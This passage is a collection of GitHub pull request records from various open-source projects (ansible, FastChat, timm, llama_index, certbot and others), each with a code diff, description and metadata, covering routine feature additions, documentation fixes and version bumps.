Signed-off-by: Trishna Guha <trishnaguha17@gmail.com> ##### SUMMARY <!--- Describe the change below, including rationale and design decisions --> Add Iterable in 2.7 _collections_compat <!--- HINT: Include "Fixes #nnn" if you are fixing an existing issue --> ##### ISSUE TYPE <!--- Pick one below and delete the rest --> - Bugfix Pull Request ##### COMPONENT NAME <!--- Write the short name of the module, plugin, task or feature below --> module_utils/common/_collections_compat.py ##### ANSIBLE VERSION <!--- Paste verbatim output from "ansible --version" between quotes --> ```paste below 2.7 ```
https://api.github.com/repos/ansible/ansible/pulls/46686
2018-10-09T12:31:54Z
2018-10-10T01:28:15Z
2018-10-10T01:28:15Z
2019-07-22T16:53:24Z
160
ansible/ansible
48,782
openchat 3.5 model support
diff --git a/README.md b/README.md index f9b42b568f..5014007227 100644 --- a/README.md +++ b/README.md @@ -105,7 +105,7 @@ You can use the commands below to chat with FastChat-T5. It will automatically d #### Supported Models FastChat supports a wide range of models, including -LLama 2, Vicuna, Alpaca, Baize, ChatGLM, Dolly, Falcon, FastChat-T5, GPT4ALL, Guanaco, MTP, OpenAssistant, RedPajama, StableLM, WizardLM, and more. +LLama 2, Vicuna, Alpaca, Baize, ChatGLM, Dolly, Falcon, FastChat-T5, GPT4ALL, Guanaco, MTP, OpenAssistant, OpenChat, RedPajama, StableLM, WizardLM, and more. See a complete list of supported models and instructions to add a new model [here](docs/model_support.md). diff --git a/docs/model_support.md b/docs/model_support.md index 042e789632..b71bd5b19f 100644 --- a/docs/model_support.md +++ b/docs/model_support.md @@ -32,6 +32,7 @@ - [NousResearch/Nous-Hermes-13b](https://huggingface.co/NousResearch/Nous-Hermes-13b) - [openaccess-ai-collective/manticore-13b-chat-pyg](https://huggingface.co/openaccess-ai-collective/manticore-13b-chat-pyg) - [OpenAssistant/oasst-sft-4-pythia-12b-epoch-3.5](https://huggingface.co/OpenAssistant/oasst-sft-4-pythia-12b-epoch-3.5) +- [openchat/openchat_3.5](https://huggingface.co/openchat/openchat_3.5) - [Open-Orca/Mistral-7B-OpenOrca](https://huggingface.co/Open-Orca/Mistral-7B-OpenOrca) - [VMware/open-llama-7b-v2-open-instruct](https://huggingface.co/VMware/open-llama-7b-v2-open-instruct) - [Phind/Phind-CodeLlama-34B-v2](https://huggingface.co/Phind/Phind-CodeLlama-34B-v2) diff --git a/fastchat/conversation.py b/fastchat/conversation.py index 77aad98440..73d24a72d1 100644 --- a/fastchat/conversation.py +++ b/fastchat/conversation.py @@ -480,6 +480,16 @@ def get_conv_template(name: str) -> Conversation: ) ) +# OpenChat 3.5 default template +register_conv_template( + Conversation( + name="openchat_3.5", + roles=("GPT4 Correct User", "GPT4 Correct Assistant"), + sep_style=SeparatorStyle.FALCON_CHAT, + sep="<|end_of_turn|>", + ) +) + # Tulu default template register_conv_template( Conversation( diff --git a/fastchat/model/model_adapter.py b/fastchat/model/model_adapter.py index 730723c2e4..43f5af1891 100644 --- a/fastchat/model/model_adapter.py +++ b/fastchat/model/model_adapter.py @@ -798,6 +798,16 @@ def get_default_conv_template(self, model_path: str) -> Conversation: return get_conv_template("oasst_llama") +class OpenChat35Adapter(BaseModelAdapter): + """The model adapter for OpenChat 3.5 (e.g. openchat/openchat_3.5)""" + + def match(self, model_path: str): + return "openchat" in model_path.lower() and "3.5" in model_path.lower() + + def get_default_conv_template(self, model_path: str) -> Conversation: + return get_conv_template("openchat_3.5") + + class PythiaAdapter(BaseModelAdapter): """The model adapter for any EleutherAI/pythia model""" @@ -1755,6 +1765,7 @@ def get_default_conv_template(self, model_path: str) -> Conversation: register_model_adapter(DollyV2Adapter) register_model_adapter(OasstPythiaAdapter) register_model_adapter(OasstLLaMAAdapter) +register_model_adapter(OpenChat35Adapter) register_model_adapter(StableLMAdapter) register_model_adapter(BaizeAdapter) register_model_adapter(RwkvAdapter) diff --git a/fastchat/model/model_registry.py b/fastchat/model/model_registry.py index 10af25a672..f7b18c0f42 100644 --- a/fastchat/model/model_registry.py +++ b/fastchat/model/model_registry.py @@ -152,6 +152,12 @@ def get_model_info(name: str) -> ModelInfo: "https://open-assistant.io", "an Open Assistant for everyone by LAION", ) +register_model_info( + ["openchat_3.5"], + "OpenChat 3.5", + "https://github.com/imoneoi/openchat", + "OpenChat 3.5 is a versatile, open-source language model fine-tuned using C-RLFT", +) register_model_info( ["llama-7b", "llama-13b"], "LLaMA",
<!-- Thank you for your contribution! --> <!-- Please add a reviewer to the assignee section when you create a PR. If you don't have the access to it, we will shortly find a reviewer and assign them to your PR. --> ## Why are these changes needed? Add support for OpenChat 3.5 model. https://github.com/imoneoi/openchat <!-- Please give a short summary of the change and the problem this solves. --> ## Related issue number (if applicable) <!-- For example: "Closes #1234" --> ## Checks - [ ] I've run `format.sh` to lint the changes in this PR. - [x] I've included any doc changes needed. - [x] I've made sure the relevant tests are passing (if applicable).
https://api.github.com/repos/lm-sys/FastChat/pulls/2638
2023-11-03T15:39:48Z
2023-11-03T23:59:00Z
2023-11-03T23:59:00Z
2023-11-08T17:15:58Z
1,224
lm-sys/FastChat
41,505
Change Oauth value for Discogs from No to Yes
diff --git a/README.md b/README.md index eb828fb496..c73b9d1e7e 100644 --- a/README.md +++ b/README.md @@ -196,7 +196,7 @@ A collective list of JSON APIs for use in web development. | API | Description | OAuth | Link | |---|---|---|---| | Deezer | Music | Yes | [Go!](http://developers.deezer.com/api) | -| Discogs | Music | No | [Go!](https://www.discogs.com/developers/) | +| Discogs | Music | Yes | [Go!](https://www.discogs.com/developers/) | | EchoNest | Music | No | [Go!](http://developer.echonest.com/docs/v4) | | Genius | Crowdsourced lyrics and music knowledge | Yes | [Go!](https://docs.genius.com/) | Jamendo | Music | Yes | [Go!](https://developer.jamendo.com/v3.0) |
Discogs uses/requires OAuth.
https://api.github.com/repos/public-apis/public-apis/pulls/241
2016-11-08T08:31:56Z
2016-11-08T10:14:49Z
2016-11-08T10:14:49Z
2016-11-08T10:15:03Z
225
public-apis/public-apis
35,435
use .unbind instead of explicitly listing the indices
diff --git a/timm/models/beit.py b/timm/models/beit.py index e8d1dd2c7e..199c2a4bb2 100644 --- a/timm/models/beit.py +++ b/timm/models/beit.py @@ -136,7 +136,7 @@ def forward(self, x, rel_pos_bias: Optional[torch.Tensor] = None): qkv_bias = torch.cat((self.q_bias, torch.zeros_like(self.v_bias, requires_grad=False), self.v_bias)) qkv = F.linear(input=x, weight=self.qkv.weight, bias=qkv_bias) qkv = qkv.reshape(B, N, 3, self.num_heads, -1).permute(2, 0, 3, 1, 4) - q, k, v = qkv[0], qkv[1], qkv[2] # make torchscript happy (cannot use tensor as tuple) + q, k, v = qkv.unbind(0) # make torchscript happy (cannot use tensor as tuple) q = q * self.scale attn = (q @ k.transpose(-2, -1)) diff --git a/timm/models/nest.py b/timm/models/nest.py index fe0645ccb5..9a477bf971 100644 --- a/timm/models/nest.py +++ b/timm/models/nest.py @@ -81,7 +81,7 @@ def forward(self, x): B, T, N, C = x.shape # result of next line is (qkv, B, num (H)eads, T, N, (C')hannels per head) qkv = self.qkv(x).reshape(B, T, N, 3, self.num_heads, C // self.num_heads).permute(3, 0, 4, 1, 2, 5) - q, k, v = qkv[0], qkv[1], qkv[2] # make torchscript happy (cannot use tensor as tuple) + q, k, v = qkv.unbind(0) # make torchscript happy (cannot use tensor as tuple) attn = (q @ k.transpose(-2, -1)) * self.scale # (B, H, T, N, N) attn = attn.softmax(dim=-1) diff --git a/timm/models/swin_transformer.py b/timm/models/swin_transformer.py index 2ee106d287..822aeef80b 100644 --- a/timm/models/swin_transformer.py +++ b/timm/models/swin_transformer.py @@ -172,7 +172,7 @@ def forward(self, x, mask: Optional[torch.Tensor] = None): """ B_, N, C = x.shape qkv = self.qkv(x).reshape(B_, N, 3, self.num_heads, C // self.num_heads).permute(2, 0, 3, 1, 4) - q, k, v = qkv[0], qkv[1], qkv[2] # make torchscript happy (cannot use tensor as tuple) + q, k, v = qkv.unbind(0) # make torchscript happy (cannot use tensor as tuple) q = q * self.scale attn = (q @ k.transpose(-2, -1)) @@ -649,4 +649,4 @@ def swin_large_patch4_window7_224_in22k(pretrained=False, **kwargs): """ model_kwargs = dict( patch_size=4, window_size=7, embed_dim=192, depths=(2, 2, 18, 2), num_heads=(6, 12, 24, 48), **kwargs) - return _create_swin_transformer('swin_large_patch4_window7_224_in22k', pretrained=pretrained, **model_kwargs) \ No newline at end of file + return _create_swin_transformer('swin_large_patch4_window7_224_in22k', pretrained=pretrained, **model_kwargs) diff --git a/timm/models/tnt.py b/timm/models/tnt.py index 8186cc4aea..9829653cb4 100644 --- a/timm/models/tnt.py +++ b/timm/models/tnt.py @@ -61,7 +61,7 @@ def __init__(self, dim, hidden_dim, num_heads=8, qkv_bias=False, attn_drop=0., p def forward(self, x): B, N, C = x.shape qk = self.qk(x).reshape(B, N, 2, self.num_heads, self.head_dim).permute(2, 0, 3, 1, 4) - q, k = qk[0], qk[1] # make torchscript happy (cannot use tensor as tuple) + q, k = qk.unbind(0) # make torchscript happy (cannot use tensor as tuple) v = self.v(x).reshape(B, N, self.num_heads, -1).permute(0, 2, 1, 3) attn = (q @ k.transpose(-2, -1)) * self.scale diff --git a/timm/models/vision_transformer.py b/timm/models/vision_transformer.py index ca8f52defd..94ae266657 100644 --- a/timm/models/vision_transformer.py +++ b/timm/models/vision_transformer.py @@ -190,7 +190,7 @@ def __init__(self, dim, num_heads=8, qkv_bias=False, attn_drop=0., proj_drop=0.) def forward(self, x): B, N, C = x.shape qkv = self.qkv(x).reshape(B, N, 3, self.num_heads, C // self.num_heads).permute(2, 0, 3, 1, 4) - q, k, v = qkv[0], qkv[1], qkv[2] # make torchscript happy (cannot use tensor as tuple) + q, k, v = qkv.unbind(0) # make torchscript happy (cannot use tensor as tuple) attn = (q @ k.transpose(-2, -1)) * self.scale attn = attn.softmax(dim=-1) @@ -893,4 +893,4 @@ def vit_base_patch16_224_miil(pretrained=False, **kwargs): """ model_kwargs = dict(patch_size=16, embed_dim=768, depth=12, num_heads=12, qkv_bias=False, **kwargs) model = _create_vision_transformer('vit_base_patch16_224_miil', pretrained=pretrained, **model_kwargs) - return model \ No newline at end of file + return model diff --git a/timm/models/xcit.py b/timm/models/xcit.py index b7af3b262b..2942ed8a1b 100644 --- a/timm/models/xcit.py +++ b/timm/models/xcit.py @@ -267,7 +267,7 @@ def forward(self, x): B, N, C = x.shape # Result of next line is (qkv, B, num (H)eads, (C')hannels per head, N) qkv = self.qkv(x).reshape(B, N, 3, self.num_heads, C // self.num_heads).permute(2, 0, 3, 4, 1) - q, k, v = qkv[0], qkv[1], qkv[2] # make torchscript happy (cannot use tensor as tuple) + q, k, v = qkv.unbind(0) # make torchscript happy (cannot use tensor as tuple) # Paper section 3.2 l2-Normalization and temperature scaling q = torch.nn.functional.normalize(q, dim=-1)
Thank you for making timm! So to not report all minor style observations via twitter: when seeing the explicit unpacking in the attention done via `qkv[0], qkv[1], qkv[2]` I thought "there is a PyTorch function doing just that": `torch.unbind`. There is a some chance that this will have a very slight performance impact in script because the TorchScript code has a `Tensor[]` and then `ListUnpack` instead of 3 `select`, but I would hope it isn't large in either direction.
https://api.github.com/repos/huggingface/pytorch-image-models/pulls/933
2021-10-24T20:11:43Z
2021-10-25T05:33:18Z
2021-10-25T05:33:18Z
2021-10-25T05:33:18Z
1,773
huggingface/pytorch-image-models
16,401
bump version to 2.7.5
diff --git a/paddleocr.py b/paddleocr.py index e6c212aba2..166a4bd743 100644 --- a/paddleocr.py +++ b/paddleocr.py @@ -60,7 +60,7 @@ def _import_file(module_name, file_path, make_importable=False): ] SUPPORT_DET_MODEL = ['DB'] -VERSION = '2.7.4' +VERSION = '2.7.5' SUPPORT_REC_MODEL = ['CRNN', 'SVTR_LCNet'] BASE_DIR = os.path.expanduser("~/.paddleocr/")
https://api.github.com/repos/PaddlePaddle/PaddleOCR/pulls/11843
2024-03-29T09:46:15Z
2024-03-29T09:46:28Z
2024-03-29T09:46:28Z
2024-03-29T09:46:28Z
129
PaddlePaddle/PaddleOCR
42,192
Added Python hackers
diff --git a/README.md b/README.md index f66ee326a..97597f489 100644 --- a/README.md +++ b/README.md @@ -1085,6 +1085,7 @@ Where to discover new Python libraries. * [CoolGithubProjects](http://coolgithubprojects.com/) - Sharing cool github projects just got easier! * [Full Stack Python](http://www.fullstackpython.com/) - Plain English explanations for every layer of the Python web application stack. * [Django Packages](https://www.djangopackages.com/) - A directory of reusable apps, sites, tools, and more for Django projects. +* [Python Hackers](http://pythonhackers.com/open-source/) - List of top 400 projects in github ## Weekly
https://api.github.com/repos/vinta/awesome-python/pulls/288
2014-12-31T10:45:56Z
2014-12-31T11:13:28Z
2014-12-31T11:13:28Z
2014-12-31T11:13:28Z
169
vinta/awesome-python
26,956
Revert "Simplify which folders are used"
diff --git a/gpt_engineer/db.py b/gpt_engineer/db.py index 073771cde1..6664a83c2c 100644 --- a/gpt_engineer/db.py +++ b/gpt_engineer/db.py @@ -139,3 +139,8 @@ def archive(dbs: DBs) -> None: shutil.move( str(dbs.memory.path), str(dbs.archive.path / timestamp / dbs.memory.path.name) ) + shutil.move( + str(dbs.workspace.path), + str(dbs.archive.path / timestamp / dbs.workspace.path.name), + ) + return [] diff --git a/gpt_engineer/main.py b/gpt_engineer/main.py index 896b5e617e..68ed8807d1 100644 --- a/gpt_engineer/main.py +++ b/gpt_engineer/main.py @@ -48,6 +48,12 @@ def main( ): logging.basicConfig(level=logging.DEBUG if verbose else logging.INFO) + # For the improve option take current project as path and add .gpteng folder + if improve_option: + # The default option for the --improve is the IMPROVE_CODE, not DEFAULT + if steps_config == StepsConfig.DEFAULT: + steps_config = StepsConfig.IMPROVE_CODE + load_env_if_needed() ai = AI( @@ -56,11 +62,10 @@ def main( azure_endpoint=azure_endpoint, ) - path = Path(project_path).absolute() - input_path = path - workspace_path = path - memory_path = path / ".gpteng" / "memory" - archive_path = path / ".gpteng" / "archive" + input_path = Path(project_path).absolute() + memory_path = input_path / "memory" + workspace_path = input_path / "workspace" + archive_path = input_path / "archive" dbs = DBs( memory=DB(memory_path), @@ -73,12 +78,6 @@ def main( archive=DB(archive_path), ) - # For the improve option take current project as path and add .gpteng folder - if improve_option: - # The default option for the --improve is the IMPROVE_CODE, not DEFAULT - if steps_config == StepsConfig.DEFAULT: - steps_config = StepsConfig.IMPROVE_CODE - if steps_config not in [ StepsConfig.EXECUTE_ONLY, StepsConfig.USE_FEEDBACK, diff --git a/tests/steps/test_archive.py b/tests/steps/test_archive.py index d74eb2deea..ec01f79678 100644 --- a/tests/steps/test_archive.py +++ b/tests/steps/test_archive.py @@ -29,11 +29,15 @@ def test_archive(tmp_path, monkeypatch): freeze_at(monkeypatch, datetime.datetime(2020, 12, 25, 17, 5, 55)) archive(dbs) assert not os.path.exists(tmp_path / "memory") + assert not os.path.exists(tmp_path / "workspace") assert os.path.isdir(tmp_path / "archive" / "20201225_170555") - dbs = setup_dbs(tmp_path, ["memory", "logs", "preprompts", "input", "archive"]) + dbs = setup_dbs( + tmp_path, ["memory", "logs", "preprompts", "input", "workspace", "archive"] + ) freeze_at(monkeypatch, datetime.datetime(2022, 8, 14, 8, 5, 12)) archive(dbs) assert not os.path.exists(tmp_path / "memory") - assert os.path.isdir(dbs.archive.path / "20201225_170555") - assert os.path.isdir(dbs.archive.path / "20220814_080512") + assert not os.path.exists(tmp_path / "workspace") + assert os.path.isdir(tmp_path / "archive" / "20201225_170555") + assert os.path.isdir(tmp_path / "archive" / "20220814_080512")
Reverts AntonOsika/gpt-engineer#659
https://api.github.com/repos/gpt-engineer-org/gpt-engineer/pulls/668
2023-09-03T14:21:18Z
2023-09-03T14:21:23Z
2023-09-03T14:21:23Z
2023-09-03T14:21:39Z
906
gpt-engineer-org/gpt-engineer
33,226
Fix ill-formed example C.65 (missing noexcept on declaration)
diff --git a/CppCoreGuidelines.md b/CppCoreGuidelines.md index 0c1052d1e..b37426ba8 100644 --- a/CppCoreGuidelines.md +++ b/CppCoreGuidelines.md @@ -6387,7 +6387,7 @@ If `x = x` changes the value of `x`, people will be surprised and bad errors can string s; int i; public: - Foo& operator=(Foo&& a); + Foo& operator=(Foo&& a) noexcept; // ... };
There cannot be a mismatch between the exception specification of a declaration and definition. The example in its current form fails to compile.
https://api.github.com/repos/isocpp/CppCoreGuidelines/pulls/2101
2023-06-23T22:40:21Z
2023-06-24T03:34:42Z
2023-06-24T03:34:42Z
2023-06-24T03:34:43Z
129
isocpp/CppCoreGuidelines
15,503
New description of webroot for the UI
diff --git a/letsencrypt/plugins/webroot.py b/letsencrypt/plugins/webroot.py index 4e3b8099c57..a0f7ef9c3d4 100644 --- a/letsencrypt/plugins/webroot.py +++ b/letsencrypt/plugins/webroot.py @@ -27,7 +27,7 @@ class Authenticator(common.Plugin): """Webroot Authenticator.""" - description = "Webroot Authenticator" + description = "Place files in webroot directory" MORE_INFO = """\ Authenticator plugin that performs http-01 challenge by saving
https://api.github.com/repos/certbot/certbot/pulls/2766
2016-04-05T18:25:57Z
2016-04-05T19:53:09Z
2016-04-05T19:53:09Z
2016-05-06T19:21:58Z
131
certbot/certbot
3,204
fix tcp.Address leftovers
diff --git a/examples/complex/har_dump.py b/examples/complex/har_dump.py index 51983b54f4..86a336847c 100644 --- a/examples/complex/har_dump.py +++ b/examples/complex/har_dump.py @@ -147,7 +147,7 @@ def response(flow): } if flow.server_conn.connected(): - entry["serverIPAddress"] = str(flow.server_conn.ip_address.address[0]) + entry["serverIPAddress"] = str(flow.server_conn.ip_address[0]) HAR["log"]["entries"].append(entry)
this fixes the issue described in https://github.com/mitmproxy/mitmproxy/issues/2119#issuecomment-285067292
https://api.github.com/repos/mitmproxy/mitmproxy/pulls/2121
2017-03-08T15:18:39Z
2017-03-08T19:06:11Z
2017-03-08T19:06:11Z
2017-03-08T19:06:14Z
130
mitmproxy/mitmproxy
27,911
win_chocolatey: Add -skip-scripts support
diff --git a/lib/ansible/modules/windows/win_chocolatey.ps1 b/lib/ansible/modules/windows/win_chocolatey.ps1 index 9ada67b5f130d5..cf3d0b395bedb9 100644 --- a/lib/ansible/modules/windows/win_chocolatey.ps1 +++ b/lib/ansible/modules/windows/win_chocolatey.ps1 @@ -20,10 +20,6 @@ # WANT_JSON # POWERSHELL_COMMON -$result = @{ - changed = $false -} - $params = Parse-Args $args -supports_check_mode $true $check_mode = Get-AnsibleParam -obj $params -name "_ansible_check_mode" -type "bool" -default $false @@ -34,14 +30,21 @@ $version = Get-AnsibleParam -obj $params -name "version" -type "str" $source = Get-AnsibleParam -obj $params -name "source" -type "str" $showlog = Get-AnsibleParam -obj $params -name "showlog" -type "bool" -default $false $timeout = Get-AnsibleParam -obj $params -name "timeout" -type "int" -default 2700 -aliases "execution_timeout" -$state = Get-AnsibleParam -obj $params -name "state" -type "str" -default "present" -validateset "present","absent","latest","reinstalled" +$state = Get-AnsibleParam -obj $params -name "state" -type "str" -default "present" -validateset "absent","latest","present","reinstalled" $installargs = Get-AnsibleParam -obj $params -name "install_args" -type "str" $packageparams = Get-AnsibleParam -obj $params -name "params" -type "str" $allowemptychecksums = Get-AnsibleParam -obj $params -name "allow_empty_checksums" -type "bool" -default $false $ignorechecksums = Get-AnsibleParam -obj $params -name "ignore_checksums" -type "bool" -default $false $ignoredependencies = Get-AnsibleParam -obj $params -name "ignore_dependencies" -type "bool" -default $false +$skipscripts Get-AnsibleParam -obj $params -name "skip_scripts" -type "bool" -default $false -if ($source) {$source = $source.Tolower()} +$result = @{ + changed = $false +} + +if ($source) { + $source = $source.Tolower() +} if ($upgrade) { @@ -150,6 +153,8 @@ Function Choco-Upgrade [bool]$ignoredependencies, [Parameter(Mandatory=$false, Position=10)] [int]$timeout + [Parameter(Mandatory=$false, Position=11)] + [bool]$skipscripts ) if (-not (Choco-IsInstalled $package)) @@ -204,6 +209,11 @@ Function Choco-Upgrade $cmd += " -ignoredependencies" } + if ($skipscripts) + { + $cmd += " --skip-scripts" + } + $output = invoke-expression $cmd $result.rc = $LastExitCode @@ -250,6 +260,8 @@ Function Choco-Install [bool]$ignoredependencies, [Parameter(Mandatory=$false, Position=11)] [int]$timeout + [Parameter(Mandatory=$false, Position=12)] + [bool]$skipscripts ) if (Choco-IsInstalled $package) @@ -316,6 +328,11 @@ Function Choco-Install $cmd += " -ignoredependencies" } + if ($skipscripts) + { + $cmd += " --skip-scripts" + } + $results = invoke-expression $cmd $result.rc = $LastExitCode @@ -342,6 +359,8 @@ Function Choco-Uninstall [bool]$force, [Parameter(Mandatory=$false, Position=4)] [int]$timeout + [Parameter(Mandatory=$false, Position=5)] + [bool]$skipscripts ) @@ -372,6 +391,11 @@ Function Choco-Uninstall $cmd += " -params '$packageparams'" } + if ($skipscripts) + { + $cmd += " --skip-scripts" + } + $results = invoke-expression $cmd $result.rc = $LastExitCode @@ -394,11 +418,12 @@ Try Choco-Install -package $package -version $version -source $source -force $force ` -installargs $installargs -packageparams $packageparams ` -allowemptychecksums $allowemptychecksums -ignorechecksums $ignorechecksums ` - -ignoredependencies $ignoredependencies -timeout $timeout + -ignoredependencies $ignoredependencies -timeout $timeout -skipscripts $skipscripts } elseif ($state -eq "absent") { - Choco-Uninstall -package $package -version $version -force $force -timeout $timeout + Choco-Uninstall -package $package -version $version -force $force -timeout $timeout ` + -skipscripts $skipscripts } elseif ($state -eq "reinstalled") { @@ -407,7 +432,7 @@ Try Choco-Install -package $package -version $version -source $source -force $force ` -installargs $installargs -packageparams $packageparams ` -allowemptychecksums $allowemptychecksums -ignorechecksums $ignorechecksums ` - -ignoredependencies $ignoredependencies -timeout $timeout + -ignoredependencies $ignoredependencies -timeout $timeout -skipscripts $skipscripts } Exit-Json $result diff --git a/lib/ansible/modules/windows/win_chocolatey.py b/lib/ansible/modules/windows/win_chocolatey.py index 58da0cc8fe3b8f..ab90ed6f999220 100644 --- a/lib/ansible/modules/windows/win_chocolatey.py +++ b/lib/ansible/modules/windows/win_chocolatey.py @@ -25,7 +25,6 @@ 'status': ['preview'], 'supported_by': 'curated'} - DOCUMENTATION = r''' --- module: win_chocolatey @@ -34,41 +33,37 @@ description: - Installs packages using Chocolatey (U(http://chocolatey.org/)). - If Chocolatey is missing from the system, the module will install it. - - List of packages can be found at U(http://chocolatey.org/packages) + - List of packages can be found at U(http://chocolatey.org/packages). options: name: description: - Name of the package to be installed. - required: true + required: yes state: description: - State of the package on the system. choices: - - present - absent - latest + - present - reinstalled default: present force: description: - Forces install of the package (even if it already exists). - Using C(force) will cause ansible to always report that a change was made. - choices: - - yes - - no - default: no + type: bool + default: 'no' upgrade: description: - If package is already installed it, try to upgrade to the latest version or to the specified version. - - As of Ansible v2.3 this is deprecated, set parameter C(state) to "latest" for the same result. - choices: - - yes - - no - default: no + - As of Ansible v2.3 this is deprecated, set parameter C(state) to C(latest) for the same result. + type: bool + default: 'no' version: description: - Specific version of the package to be installed. - - Ignored when C(state) is set to "absent". + - Ignored when C(state) is set to C(absent). source: description: - Specify source rather than using default chocolatey repository. @@ -83,17 +78,20 @@ allow_empty_checksums: description: - Allow empty checksums to be used. - default: false + type: bool + default: 'no' version_added: '2.2' ignore_checksums: description: - Ignore checksums altogether. - default: false + type: bool + default: 'no' version_added: '2.2' ignore_dependencies: description: - Ignore dependencies, only install/upgrade the package itself. - default: false + type: bool + default: 'no' version_added: '2.1' timeout: description: @@ -101,36 +99,51 @@ default: 2700 version_added: '2.3' aliases: [ execution_timeout ] -author: "Trond Hindenes (@trondhindenes), Peter Mounce (@petemounce), Pepe Barbe (@elventear), Adam Keech (@smadam813)" + skip_scripts: + description: + - Do not run I(chocolateyInstall.ps1) or I(chocolateyUninstall.ps1) scripts. + type: bool + default: 'no' + version_added: '2.4' +notes: +- Provide the C(version) parameter value as a string (e.g. C('6.1')), otherwise it + is considered to be a floating-point number and depending on the locale could + become C(6,1), which will cause a failure. +author: +- Trond Hindenes (@trondhindenes) +- Peter Mounce (@petemounce) +- Pepe Barbe (@elventear) +- Adam Keech (@smadam813) ''' # TODO: # * Better parsing when a package has dependencies - currently fails # * Time each item that is run # * Support 'changed' with gems - would require shelling out to `gem list` first and parsing, kinda defeating the point of using chocolatey. +# * Version provided not as string might be translated to 6,6 depending on Locale (results in errors) EXAMPLES = r''' - # Install git +- name: Install git win_chocolatey: name: git state: present - # Upgrade installed packages +- name: Upgrade installed packages win_chocolatey: name: all state: latest - # Install notepadplusplus version 6.6 +- name: Install notepadplusplus version 6.6 win_chocolatey: name: notepadplusplus.install version: '6.6' - # Install git from specified repository +- name: Install git from specified repository win_chocolatey: name: git source: https://someserver/api/v2/ - # Uninstall git +- name: Uninstall git win_chocolatey: name: git state: absent
##### SUMMARY This PR includes: - A new parameter `skip_scripts` to disable running scripts - Documentation fixes (wrt. booleans) This fixes #25516 ##### ISSUE TYPE <!--- Pick one below and delete the rest: --> - Feature Pull Request ##### COMPONENT NAME <!--- Name of the module/plugin/module/task --> win_chocolatey ##### ANSIBLE VERSION <!--- Paste verbatim output from “ansible --version” between quotes below --> v2.4
https://api.github.com/repos/ansible/ansible/pulls/26523
2017-07-07T10:53:18Z
2017-07-10T04:20:06Z
2017-07-10T04:20:06Z
2019-04-26T21:40:47Z
2,495
ansible/ansible
49,119
Cache improvements
diff --git a/CHANGELOG.md b/CHANGELOG.md index bb6866b4f0d28..d6c20956fb2ca 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -3,6 +3,7 @@ ## Unreleased ### New Features +- Added "LLAMA_INDEX_CACHE_DIR" to control cached files (#7233) - Default to pydantic selectors when possible (#7154, #7223) - Remove the need for langchain wrappers on `embed_model` in the service context (#7157) - Metadata extractors take an `LLM` object now, in addition to `LLMPredictor` (#7202) diff --git a/docs/getting_started/installation.md b/docs/getting_started/installation.md index 0c2ee848843a9..fa38de4744f41 100644 --- a/docs/getting_started/installation.md +++ b/docs/getting_started/installation.md @@ -1,6 +1,6 @@ # Installation and Setup -### Installation from Pip +## Installation from Pip You can simply do: @@ -8,14 +8,16 @@ You can simply do: pip install llama-index ``` -### Installation from Source +**NOTE:** LlamaIndex may download and store local files for various packages (NLTK, HuggingFace, ...). Use the environment variable "LLAMA_INDEX_CACHE_DIR" to control where these files are saved. + +## Installation from Source Git clone this repository: `git clone https://github.com/jerryjliu/llama_index.git`. Then do: - `pip install -e .` if you want to do an editable install (you can modify source files) of just the package itself. - `pip install -r requirements.txt` if you want to install optional dependencies + dependencies used for development (e.g. unit testing). -### OpenAI Environment Setup +## OpenAI Environment Setup By default, we use the OpenAI `gpt-3.5-turbo` model for text generation and `text-embedding-ada-002` for retrieval and embeddings. In order to use this, you must have an OPENAI_API_KEY setup. You can register an API key by logging into [OpenAI's page and creating a new API token](https://beta.openai.com/account/api-keys). @@ -25,7 +27,7 @@ You can also [customize the underlying LLM](/core_modules/model_modules/llms/usa need additional environment keys + tokens setup depending on the LLM provider. ``` -### Local Environment Setup +## Local Environment Setup If you don't wish to use OpenAI, the environment will automatically fallback to using `LlamaCPP` and `llama2-chat-13B` for text generation and `BAAI/bge-small-en` for retrieval and embeddings. This models will all run locally. diff --git a/llama_index/embeddings/utils.py b/llama_index/embeddings/utils.py index 681fb96c730ba..a2fa371c8f1e2 100644 --- a/llama_index/embeddings/utils.py +++ b/llama_index/embeddings/utils.py @@ -60,6 +60,7 @@ def resolve_embed_model( ) from exc cache_folder = os.path.join(get_cache_dir(), "models") + os.makedirs(cache_folder, exist_ok=True) embed_model = LangchainEmbedding( HuggingFaceBgeEmbeddings( diff --git a/llama_index/indices/postprocessor/optimizer.py b/llama_index/indices/postprocessor/optimizer.py index 81a0e62ad2b95..194f57b668596 100644 --- a/llama_index/indices/postprocessor/optimizer.py +++ b/llama_index/indices/postprocessor/optimizer.py @@ -49,11 +49,21 @@ def __init__( if tokenizer_fn is None: import nltk.data + import os + from llama_index.utils import get_cache_dir + + cache_dir = get_cache_dir() + nltk_data_dir = os.environ.get("NLTK_DATA", cache_dir) + + # update nltk path for nltk so that it finds the data + if nltk_data_dir not in nltk.data.path: + nltk.data.path.append(nltk_data_dir) try: nltk.data.find("tokenizers/punkt") except LookupError: - nltk.download("punkt") + nltk.download("punkt", download_dir=nltk_data_dir) + tokenizer = nltk.data.load("tokenizers/punkt/english.pickle") tokenizer_fn = tokenizer.tokenize self._tokenizer_fn = tokenizer_fn diff --git a/llama_index/llms/llama_cpp.py b/llama_index/llms/llama_cpp.py index 18c4a0f22ae21..d53987a36b935 100644 --- a/llama_index/llms/llama_cpp.py +++ b/llama_index/llms/llama_cpp.py @@ -72,6 +72,7 @@ def __init__( model_name = os.path.basename(model_url) model_path = os.path.join(cache_dir, "models", model_name) if not os.path.exists(model_path): + os.makedirs(os.path.dirname(model_path), exist_ok=True) self._download_url(model_url, model_path) assert os.path.exists(model_path) diff --git a/llama_index/text_splitter/utils.py b/llama_index/text_splitter/utils.py index f040e6f29c0f9..0025864df43b9 100644 --- a/llama_index/text_splitter/utils.py +++ b/llama_index/text_splitter/utils.py @@ -32,13 +32,19 @@ def split_by_char() -> Callable[[str], List[str]]: def split_by_sentence_tokenizer() -> Callable[[str], List[str]]: import nltk + import os + from llama_index.utils import get_cache_dir + + cache_dir = get_cache_dir() + nltk_data_dir = os.environ.get("NLTK_DATA", cache_dir) + + # update nltk path for nltk so that it finds the data + if nltk_data_dir not in nltk.data.path: + nltk.data.path.append(nltk_data_dir) try: nltk.data.find("tokenizers/punkt") except LookupError: - import os - - nltk_data_dir = os.environ.get("NLTK_DATA", None) nltk.download("punkt", download_dir=nltk_data_dir) return nltk.sent_tokenize diff --git a/llama_index/utils.py b/llama_index/utils.py index 65a7de73455b2..f335e9a267761 100644 --- a/llama_index/utils.py +++ b/llama_index/utils.py @@ -63,10 +63,19 @@ def stopwords(self) -> List[str]: raise ImportError( 